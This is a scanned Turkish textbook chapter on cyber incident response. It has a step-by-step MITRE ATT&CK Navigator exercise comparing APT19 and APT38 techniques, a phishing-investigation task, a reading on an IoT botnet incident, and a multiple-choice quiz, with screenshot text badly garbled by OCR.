ate or Madify Execution Guardrails Madify Device Driver
Hify System = Authentication Bl Discavery Taint Shared
em Process . Process Content
eSS - Exploitation for Sk Domain Trust
Damain or Defense Evasion Multi-Factar Discave Use Alternate
at Tenant Policy Authentication 2 Authentication Software (0) ~
gered Madification File and Directory Interception File and Directory Material ..
tution e Permissions Discovery
; Modification Multi-Factor Mitigations (0} v
Escape to — Authentication  Group Palicy
usive Host Hide Artifacts ., Request Discovery
trol - Generation

Campaigns (0) -~ legend

Gorsel 4.23: Tehdit Gruplarini Arama
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3. Adim: Katman kontrolleri altindaki katman bilgileri digmesine tiklayip APT19 adini, APT19’un TTPs
- APT19 - ilk Tehdit Analizi aciklamasiyla birlikte giriniz (Gorsel 4.24).

‘ Selection Caontrols I Layer Controls I Technique Controls

[E]s = li® ¢ i ¥

Layer Information

Name

APT19

Description

TTPs - APT19 - ilk Tehdit Analizi

Enterprise ATT&CK

Version

MITRE ATT&CK v17

Gorsel 4.24: Tehdit analizi bilgi girisinin yapilmasi

4. Adim: APT19 tekniklerinin rengini kirmiziya ayarlamak igin teknik kontroller altindaki arka plan rengi

digmesine tiklayiniz (Gorsel 4.25).
I Selection Contraols | Layer Controls Technique rnmmi;I

%n B o =% i
Privilege Credential Lat
Escalation  Defense Evasion Access Discovery Mow
14 techniques 45 techniques 17 techniques 33 techniques 9 tec Layer Information
Abuse Abuse Elevation Adversary-in- Account Discavery Exploitz
Elevation Contral Mechanism the-Middle q Remote
Control ’ d Service: Hame
Mechanism — " Application Window APT19
. Access Token Brute Force Discovery Internal
Manipulation . i Spearpl
Access Token Browser Information Description
Manipulation il BITS Jobs Credentials Discovery Lateral W o _—
from Transfe TTPs - APT19 -l lizi
Build Image on Host Password Cloud Infrastructure
Account Stores . Discovery Remote &
Manipulation il Debugger Evasion Service
" Exploitation Cloud Service Session
for Credential Dashboard Hijackir
Boot or Access
Logon Cloud Service Remote
Autostart Deploy Container Forced Discovery Service: Enterprise ATTRCH
Execution Authentication
ane Ditect Valume Access Cloud Storage Object  Replical
Forge Web Diccovery Throug
Boot or Domain or Tenant Credentials Removi
Logon Pelicy Modification " Container and Media
Initialization Resource Discovery MArERE TR
Scripts g Input Capture Softwar MILRE AL &
Email Spoofing " Debugger Evasion Deploy
Create or Tools
Madify Execution Guardrails Madify Device Driver
System o Authentication [l Discovery Taint Sk
Process s = Process .. Conten
Exploitation for Damain Trust
Demain or Defense Evasion Multi-Factor Discovery Use Al
Tenant Palicy Authentication Authen Metadata
Maodification [l File and Directory Interception File and Directory Materia
.y Permissions Discovery
- Modification Multi-Factor add metadata
Escape to e Authentication  Group Policy
Host Hide Artifacts Request Discovery
) Generation
= ~ legend

Gorsel 4.25: Teknik renklendirme
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5. Adim: Teknik kontroller altindaki puanlamaya tiklayip degeri, 1 (bir) olarak ayarlayiniz (Gorsel 4.26).

Privilege

1 Escalation
i 14 techniques

Defense Evasion
45 techniques

Abuse
Elevation
Control
Mechanism

- Abuse Elevation
Access Token lil Control Mechanism
Manipulation

= Access Token

Account Manipulation ..
Manipulation
) BITS Jobs
Boot or Build Image on Hast
Logon
Autostart Debugger Evasion
Execution
) Deploy Container
Boot or Direct Volume Access
Legen
Initialization Domain or Tenant
Scripts | Policy Modification
Create or %
Modify Email Specfing
System
Progess 1, Execution Guardrails
Domain or =
Tenant Policy M Exploitation for
Maodification Defense Evasion
; File and Directory
Escape to Permissions
Host Modification

Credential
Access

Adversary-in-
the-Middle

Brute Force

Credentials
from
Passward
Stores ...

Exploitation
far Credential
Access

Forced
Authentication

Forge Web
Credentials

Input Capture

Modify
Authentication
Process .,

Multi-Factor
Authentication
Interception

Multi-Factar
Authentication
Request
Generation

17 technigues

Account Discovery
Application Window
Discovery

Browser Infarmation
Discovery

Cloud infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service
Discovery

Cloud Sterage Object
Discavery

Cantainer and
Resource Discovery

Debugger Evasion

Device Driver
Discovery

Lat
Mow:
9 tec

Explaitz
Remote
Service:

Internal
Spearpl

Lateral
Transfel

Remote
Service
Session
Hijackir

Remote
Service:

Replicat
Throug
Remov:
Media

Softwar

Deploy
Toals

Taint Sk
Conten

Use Al
Authen
Materia

Layer Information

| Selection Controls | Layer Controls | I Technique Centrals I

ﬁ&'n'avﬁg‘g-& i

Mame

APT19

Description

TTIPs - APT19 - ilk Tehdit Analizi

Metadata

add metadata

Gorsel 4.26: Tehdit puanlama

6. Adim: Ayni islemleri farkli renklendirme ve skor puanini 2 (iki) yaparak APT38 icin Gorsel 4.27'de
oldugu gibi hazirlayiniz.

Privilege
Escalation
14 techniques

Abuse
Elevation
Control
Mechanism
[178)

Access Token
Manipulation

Account
Manipulation

Boot or
Logon
Autostart
Execution

Boot or
Logon
Initralization
Seripts o

Create or
Modify
System
Process ;.

Domain or
Tenant Palicy
Maodification

Escape to
Host

Defense Evasion
45 techniques
Abuse Elevation
Control Mechanism
14
Access Token
Manipulation ..

BITS labs

Build Image on Host

Debugger Evasion

Deploy Container
Direct Volume Access

Domain or Tenant
Policy Medification

Email Spoofing
Execution Guardrails
(U]

Exploitation for
Defense Evasion

File and Directory
Permissions
Madification |, -,

Hide Artifacts .,

Credential
Access
17 technigues

Adversary-in-
the-Middle

Brute Force
(/4

Discovery
33 techniques
Account Discovery

Application Window
Discovery

Credentials
am

Password

Stores .

Exploitation
for Credential
Access

Forced
Authentication

Forge Web
Credentials
02

Input Capture
(14

Modify
Authentication
Process .,

Multi- Factor
Authentication
Interception

Multi-Factor
Authentication
Reguest

Generatinn

Discovery
Cloud Infrastructure
Discovery

Cloud Service
Dashboard

Cloud Service
Discavery

Cloud Storage Object
Discovery

Container and
Resource Discovery

Debugger Fvasion

Device Driver
Discovery

Domain Trust
Discovery

Group Policy
Discovery

Lateral
Movement
9 technigues

Explaitation of

| Selection Contrals | Layer Controls | Technique Controls
% %W B =% i+ §
R Comm
Collection and Co| Impact
17 technigues 18 techn & techniques

Adversary-in-

Remote the-Middle
Services e
Internal Archive
Spearphishing  Collected
Data -
Lateral Tool oz
Transfer Audio
Capture
Remote
Service Automated
Session Collection
Hijacking ..
o Browser
Remate Session
Services . Hijacking
Replication Clipboard
Through Data
i bl
Media Data from
Cloud
Software Storage
Deplayment
Tools Data trom
Cenfiguration
Taint Shared Repository
Content o)
Use Alternate Dhata from
Authentication {ll Infarmation

Repositaries

Application
Layer Protocol
]

Communication

Through
Removable
Media

Content
Injection

Data Encoding

Data
Obfuscation

073)

Dynamic
Resolution

Encrypled
Channel -,

Fallback
‘Channels

Hide
Infrastructure

Multi-Stage
Channels

Mo

Gorsel 4.27: APT38 icin bilgi girisi yapilmasi

Exfiltration

Data Destruction

Data
y

Transfer WA
Size Limits Data Encryf

for Impact
: an
Cver Data
Alternative Manipulation I
Protocol

073

Exfiltration
Cver €2
Channel

Exfiltration
Ower Other
Network
Medium

Exfiltration
Over
Physical
Medium

Exfiltration
Over Weh
Service

Scheduled
Transter

Defacement -,
Disk Wipe (-
Email Bomhbing

Endpoint Denial
of Service

Financial Theft

Firmware
Corruption

Inhibit System
Recovery

Metwork Denial of
Servic

Resaurce
Hijacking

Service Stop
[—
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7.Adim: APT19 ve APT38 tarafindan kullanilan ortak teknikleri elde etmekigin her iki katmani birlestiriniz
(Bu, saldirganin tekniklerine dncelik vermenize yardimci olacaktir.).

8. Adim: Yeni Katman Olustur’a ve ardindan Diger Katmanlardan Katman Olustur’a tiklayiniz (Gorsel
4.28).

b
|ADT19 x® |IAPT38 % ” newtab X I +

MITRE ATT&CK® Naviaator
The ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices,
It can be used to visualize defensive coverage, red/blue team planning, the frequency of
detected techniques, and maore.,

Create New Layer

help changelog theme «

Create a new emply layer

w

Open Existing Layer Load a layer from your compauter or a URL w

Create Layer from Other Layers Select layers to inherit properties from o
domain®

Enterprise ATT&CK M.~

BeOre Expression

a+b

Select the domain for the new layer. Only layers of the same domain and version
can be merged.

Use constants {numbers) and layer variables (yellow, above) to write an expression
for the initial value of scores in the new layer. A full list of supported operations can
be found here . Leave blank 1o initialize scores to 0. Here's a list of available layer

Gorsel 4.28: APT19 ve APT38 birlestirme

9. Adim: Create butonuna tiklayip Gorsel 4.29'da gosterildigi gibi APT19’dan kirmizi teknikler, APT38'den
sari teknikler ve her iki APT grubunda da ortak olan yesil teknikler iceren yeni bir katman olusturunuz.

APTIG X

APTIE X

layer by operation X

Rec

Reslou rce

10 techniques

& techniques

Initial
Access

11 technigues

Execution
16 techniques

+

Persistence
23 techniques

Privilege
Escalation
14 techniques

. Credential
Defense Evasion ess
45 techniques

Discovery

17 technigues 33 techniques

Active Scanning Acquire Content Cloud Account Abuse Abuse Elevation Adversary-in- Account Discovery I
e Access el Administration Manipulation Elevation Control Mechanism the-Middie o
- Command . Control | i =
Gather Victim Acquire = Mechanism : Application Window
Hast Infarmation Infrastructure| RBITS lobs ] Access Token Rrute Force Discavery
8 Manipulation o
Boot or Logon @ Access Token Browser Information
Gather Vietim Compromise Autostart Manipulation | BITS Jobs Crede Discovery
Identity Accounts - Facin Execution W from
Informatien Application Container 04 = Build Image on Host Password Cloud Infrastructure
Compromise Administration Account Stores . Discovery
Gather Victim Infrastructure External Command Root or Logon [l Manipulation il Debugger Evasion -
Metwark ) Remate Initialization T Exploitation Cloud Service
Information ) Services Deploy Seripts ., for Credential Dashboard
~ Develop Container - Boot or Access
Gather Victim Org M Capabilities Hardware Cloud Logon Cloud Service
Information e Additions ESXi Application Autostart Forced Discovery
: : Administration Integration Execution Authentication
Fhishing for Establish Phishing Command [ Direct Volume Access Cloud Starage Object
Infarmation ., Accounts o (144) Compromise Farge Weh Discovery
Exploitation for  Host Software Boot ar Domain or Tenant Credentials
Search Closed Obtain Replication Client Binary Legen M Folicy Modification " Ceontainer and
Sources Capabilities Through Execution Initialization i Resource Discovery
= am Removable Create Seripts o e Input Capture
Search Open Media Input Injection Account o Email Spoofing (174} Debugger Evasion
Technical Stage Create ar
Databases . Capahiliti Supply Inter-Pracess Create ar Madify M Execution Guardrails Modify Device Driver
o Chain Communication (i Modify System 0 Authentication (l Discovery
Search Open Compromise System Process s — Process |, .
Websites/Domains i Process ;. Exploitation for Domain Trust
) Mative APl Domain or Defense Cvasion Multi-Facter Discovery
7 Trusted Event Tenant Policy Authentication
Search Victim Relationship  Scheduled Triggered Modification |l File and Directory Interception File and Directory
Cwned Wehsites Taskflob o o I Execution i Permissions l Discovery
walid [ | @) B difiatinn L

Gorsel 4.29: Ortak katman olusturma

10. Adim: Son hazirlanan katmana gore dort yaygin teknik bulunmaktadir. Saldirinin olasi izlerine ve
tehdit avciligi stirecine su dort teknige odaklanarak baslayabildigini gbzlemleyiniz:

« Ik Erisim taktigi alinda T1189 teknik kimlikli Gegis Saldirisi

- Savunma Kaginma taktigi alinda T1112 teknik kimlikli Kayit Defterini Degistirme

SIBER OLAYLARA MUDAHALE




SIiBER OLAYLARA MUDAHALE UYGULAMALARI f

« Kesif taktigi altinda T1082 teknik kimlikli Sistem Bilgisi Kesfi
- Kesif taktigi alinda T1033 teknik kimlikli Sistem Sahibi/Kullanici Kesfi

Sira Sizde

Kurumsal bir e-posta sistemine sahte bir e-posta gonderildi ve bazi ¢alisanlar baglantiya
tiklayarak kullanici adi ve sifrelerini paylast. Siz bir tehdit avcisi olarak bu saldirinin izlerini
sirmek ve takibini yapmakla gorevlisiniz. Buna gore e-posta ve ag loglarini analiz ederek
etkilenen kullanicilari tespit etmek, stipheli IP ve URL leri takip etmek, kullanici hesaplarinin
olagan disi aktivitelerini incelemek ve saldirinin izlerini belirleyerek NIST’e gore gerekli
iyilestirme adimlarini uygulamak icin bir analiz ve raporlama calismasi gerceklestiriniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olgitlerini dikkate aliniz.

——
< -
[ =—"1

Okuma Parc¢asi

-
o T |

Akilli Cihazlarin Sessiz Tehdidi

Bir sabah farkli sehirlerde yasayan bircok insan evlerindeki ve is yerlerindeki internet
baglantilarinda ahsilmadik sorunlar yasamaya basladi. Glvenlik kameralari zaman zaman yanit
vermiyor, internet baglantisi yavasliyor, bazi dijital hizmetlere erisim ise kesintili hale geliyordu.
Baslangi¢ta bunun gecici bir teknik ariza oldugu diistintldi ancak kisa stire icinde sorunun tek
bir noktadan kaynaklanmadigi anlasildi.

Yapilan incelemelerde, internete bagh c¢ok sayida akilli cihazin ortak bir sekilde olagan dis
trafik olusturdugu fark edildi. Evlerde kullanilan kamera, modem, kaydedici gibi cihazlar,
sahiplerinin bilgisi disinda dis sistemlerle iletisim kuruyordu. Bu cihazlarin cogunda temel
glvenlik ayarlarinin degistirilmedigi, bazilarinda ise eski yazilimlarin kullaniimaya devam ettigi
gorildi. Boylece siradan goriinen cihazlar, fark edilmeden daha biyuk bir yapinin parcasi
haline gelmisti.

Sorun buyuldukce bazi dijital hizmetlerde erisim aksakliklari yasandi. Kurumlarin ¢evrim ici
sistemleri yavasladi, kullanici islemleri gecikti ve teknik ekipler yogun bicimde miidahale
etmek zorunda kaldi. Olay, tek tek bakildiginda 6nemsiz goriilebilecek cihazlarin bir araya
geldiginde ne kadar ciddi bir glivenlik riski olusturabilecegini gosterdi.

Bu suire¢ sonunda hem bireyler hem de kurumlar 6nemli dersler cikardi. Varsayilan parolalarin
degistirilmesi, cihaz yazilimlarinin diizenli glincellenmesi, gereksiz uzaktan erisim ézelliklerinin
kapatilmasi ve aglarin daha kontrolli yapilarla yonetilmesi gerektigi anlasildi. Yasananlar,
dijital diinyada yalnizca bilgisayarlarin degil internete baglanan her cihazin giivenlik agisindan
dikkatle ele alinmasi gerektigini acik bicimde ortaya koydu.

\ Komisyon tarafindan uyarlanmistir.
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OLCME VE DEGERLENDIRME

A) Asagidaki climlelerde bogs birakilan yerlere dogru kelimeleri yaziniz.

1.

B)

2.

Siber olaylara midahale slirecinde olaylarin tespiti, siniflandirilmasi ve raporlanmasi icin kullanilan
yazilima ............... denir.

Tarkiye'de ulusal diizeyde siber olaylara midahaleden sorumlu merkeze ............... adi verilir.

Bir saldirinin izi olarak degerlendirilen IP adresi, dosya hash degeri, zararli URL gibi gostergelere
............... ad verilir.

SANS, NIST gibi kuruluslar tarafindan gelistirilen adim adim olay miidahale siregleri, ............... olarak
adlandirilir.

Bir saldirganin ¢ok sayida parola denemesiyle sisteme erismeye calistigl saldiri tlrlne ...............
denir.

Asagidaki sorulan dikkatlice okuyarak dogru cevabi isaretleyiniz.

Asagidakilerden hangisi siber olaylara mii- 3. SANS siber olay miidahale gercevesine
dahale icin diinya genelinde kabul gormiis gore izolasyon (containment ) adiminin
standartlardan biridir? hizmet ettigi amag asagidakilerden hangi-
A) COBIT sidir?

B) SO 9001 A) Olayin raporlanmasi

C) SO 14001 B) Olayin turiinin belirlenmesi

D) ITIL C) Saldirinin yayilmasinin engellenmesi

E) NIST D) Sistemlerin tekrar devreye alinmasi

E) Kullanici egitiminin saglanmasi

Wazuh SIEM yaziliminda Rule ID’nin temel
gorevi asagidakilerden hangisidir?

A) Olayr tanimlamak ve siniflandirmak 4. Bir kurumda SQL Injection saldirisi ger-
B) P adresini tespit etmek ceklestiginde atilmasi gereken ilk adim
C) Alarm seviyesini belirlemek asagidakilerden hangisidir?

D) Olayin zaman bilgisini kaydetmek A) Sistemleri tamamen kapatmak

E) Ag trafigini sifrelemek B) Calisanlari bilgilendirmek

C) Supheli IP adreslerini firewall/WAF (ize-
rinden engellemek

D) Saldirganin kimligini bulmaya calismak

E) Veri tabanini yeniden kurmak



5.

6.

K6t amagh yazilimlarin sistemden tama-
men kaldirilmasi ve temizlenmesi siireci
asagidaki asamalardan hangisinde gergek-
lestirilir?

A) Analiz

B) Hazirlik

C) izleme

D) Raporlama

E) Temizleme

Asagidakilerden hangisi USOM’un temel
gorevlerinden biridir?

A) Yazilim gelistirmek

B) 10C bilgilerini paylasmak

C) Givenlik cihazlari satmak

D) Universitelere ders vermek

E) Donanim Uretmek

Bir siber olay raporunda asagidaki sorular-
dan hangisi yer almaz?

A) Gergekte ne oldu?

B) Olay ne zaman gergeklesti?

C) Olaya kimler miidahale etti?

D) Sirketin yillik kar orani nedir?

E) Kurulus nasil etkilendi?

8.

10.

Siber olay sonrasi yapilan lesson learned

(ders gikarma) toplantilarinin temel amaci

asagidakilerden hangisidir?

A) Calisanlara ceza vermek

B) Olayi gizlemek

C) Olayin maliyetini hesaplamak

D) Benzer olaylarin tekrar yasanmamasi
icin 6nlem almak

E) Medyaya aciklama yapmak

Bir kurumda siber olay sonrasi yapilan

iletisim planinin 6ncelikli amaci asagidaki-

lerden hangisidir?

A) Calisanlari isten gikarmak

B) Paydaslari ve yoneticileri dogru bilgilen-
dirmek

C) Yeni yazilim satin almak

D) Basin agiklamasi yapmak

E) Glvenlik cihazlarini degistirmek

Siber olay sonrasi yapilmasi gereken
onleyici aksiyonlardan biri asagidakilerden
hangisidir?

A) Yama yonetimi ve givenlik giincelleme-
lerini gerceklestirmek

B) Sistemi eski halinde birakmak

C) Saldirganla iletisime gegmek

D) Log kayitlarini silmek

E) Olayi raporlamamak



Kontrol Listesi

EKLER
EK-1

Olgiitler Evet Hayir

1. Uygulama igin gerekli ortami, araglari, kaynaklari veya senaryo verilerini
eksiksiz hazirladi.

2. Yonergede verilen islem, planlama, yapilandirma veya miidahale adimlarini
uygun sira ve dogrulukta gergeklestirdi.

3. Elde ettigi bulgulari, log kayitlarini, uyarilari veya senaryo verilerini dogru
sekilde analiz edip yorumladi.

4. Uygulamanin amacina uygun miidahale plani, kural, 6nlem, iyilestirme adimi
veya rapor ciktisi olusturdu.

5. Galismasinibilgigiivenligiilkelerine, etikkurallarave laboratuvaryonergelerine
uygun olarak tamamladi.

“Hayir” olarak isaretlenen degerlendirme 6lgutleri igin ilgili konu ve uygulamalari tekrar ediniz.
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